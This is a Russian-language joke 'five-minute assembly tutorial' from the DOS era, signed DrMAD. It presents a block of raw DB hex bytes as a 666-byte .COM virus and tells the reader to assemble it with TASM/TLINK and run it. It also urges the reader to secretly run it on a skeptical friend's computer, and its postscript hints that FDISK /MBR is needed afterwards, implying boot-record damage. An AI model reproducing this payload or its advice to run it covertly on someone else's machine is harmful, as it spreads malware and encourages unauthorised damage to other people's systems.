"Основы ассемблера"
by DrMAD
Здравствуй, дружок!
Хочешь, я расскажу тебе сказку? Нет, лучше будет, если я научу тебя
программировать на языке ассемблера. Ты думаешь, это сложно и долго?
Ошибаешься - на всю учебу у нас с тобой уйдет... 5 минут, не больше!
Вот смотри - сначала ты должен изучить четыре директивы:
.MODEL TINY
.CODE
ORG 100H
END
Первые три ставятся в начале программы, а четвертая - в конце. Что
они означают? - А какая тебе разница, главное помнить, что они нужны.
После первых трех директив ставится входная метка - любое слово,
написанное латинскими буквами с двоеточием в конце, например такое:
START:
Кроме того, рекомендуется, чтобы в конце директивы END стояла та же
самая входная метка. Это будет выглядеть так:
END START
Наконец, необходимо изучить еще одну важную директиву: DB. После
нее обычно пишутся разные 16-ричные числа, которые и составляют тело
программы.
И все, изучение языка ассемблера завершено! Давай для закрепления
материала напишем какую-нибудь простенькую программку. Что? Ты хочешь,
чтобы это был вирус? Ну ладно-ладно, так уж и быть, вирус так вирус...
Вот, получи:
.MODEL TINY
.CODE
ORG 100h
START:
DB 0FCH,0BEH,000H,001H,0BFH,01CH,001H,0B9H
DB 094H,002H,02BH,0C0H,0ACH,081H,0FEH,01CH
DB 001H,077H,004H,002H,0E0H,0E2H,0F5H,032H
DB 0C4H,0AAH,0E2H,0F0H,007H,0BEH,0BDH,004H
DB 0DDH,0BEH,006H,0BEH,0BFH,005H,03FH,0BFH
DB 072H,0ACH,03EH,080H,045H,08CH,0CAH,08EH
DB 03EH,0C0H,0AFH,000H,0BFH,0CAH,095H,03CH
DB 000H,02FH,0BEH,0BFH,0CAH,09CH,079H,0F8H
DB 0AFH,057H,078H,0F8H,0AEH,0D6H,0BEH,000H
DB 061H,0BDH,001H,0DDH,0BCH,006H,08DH,0BFH
DB 02FH,04CH,01BH,007H,0BEH,0BCH,004H,0DDH
DB 0BEH,006H,0BEH,0BFH,005H,03FH,0BFH,072H
DB 0ACH,07CH
DB 64 DUP(056H,049H,052H,055H,053H,021H,021H,021H)
DB 0DFH,0B9H,01H,027H,0C2H,00H
DB 0BFH,0B6H,006H,0A9H,0BFH,007H,0BFH,007H
DB 031H,07FH,013H,049H,06FH,015H,05DH,045H
DB 0B8H,0DEH,000H,0BFH,0B9H,07CH,016H,041H
DB 01FH,0CFH,009H,042H,01FH,0CFH,012H,043H
DB 01FH,0CFH,015H,044H,01FH,0CFH,013H,045H
DB 01FH,040H,061H,0F9H,056H,049H,052H,055H
DB 053H, 021H
END START
Осталось выполнить разные формальности: откомпилировать программу
командой
TASM <имя_файла>.asm
и слинковать командой
TLINK <имя_файла>.obj /t
Получится программа с расширением .com и длиной, ну естественно,
666 байт. Запусти ее !
А если кто-нибудь, особо вумный, скажет, что это был не ассемблер -
скажи ему три раза "ха-ха". Клянусь Аллахом - эта программа написана на
настоящем 100% -ном языке ассемблера!
Что? Он упорствует и утверждает, что это получился не вирус?
М-да... Лишние мозги ему явно вредят... Поступи просто - пошути, в его
отсутствие запусти эту программу на его машине. Что он теперь на это
скажет? J
P.S. Кстати, забыл предупредить. Есть такая программа FDISK.EXE. И
можно ее иногда запустить с таким вот ключиком - /MBR. К чему это я? -
А черт его (меня) знает... J))
|